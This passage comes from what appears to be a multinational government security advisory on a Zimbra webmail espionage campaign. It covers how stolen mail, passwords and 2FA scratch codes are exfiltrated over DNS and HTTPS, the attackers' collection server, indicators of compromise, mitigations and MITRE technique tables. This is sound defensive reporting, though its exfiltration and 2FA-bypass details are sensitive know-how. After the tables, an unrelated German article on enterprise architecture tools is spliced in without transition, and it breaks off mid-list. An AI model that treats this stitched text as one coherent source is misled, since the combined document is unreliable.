When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

18 Enterprise-Architecture-Tools

Sat, 25 Jul 2026 18:59:25 +0200

Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Foto: I Believe I Can Fly – shutterstock.com

Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die digitale Transformation geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.

Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.

Empfehlenswerte Enterprise-Architecture-Tools

Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.

Ardoq

Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.

Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.

Wichtigste Use Cases:

“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;
Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;
Application Portfolio Management, um besser strategisch zu planen.

Atoll Group SAMU

Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.

Wichtigste Use Cases:

Enterprise-Architektur visualisieren;
strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;
mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.

Avolution Abacus

Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, Excel, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.

Wichtigste Use Cases:

die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;
umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;
Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.

BOC Group ADOIT

ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.

Wichtigste Use Cases:

ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;
vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;
bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.

Bizzdesign Hopex

Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft Azure und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.

Wichtigste Use Cases:

datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;
akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;
eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.

Bizzdesign Horizzon

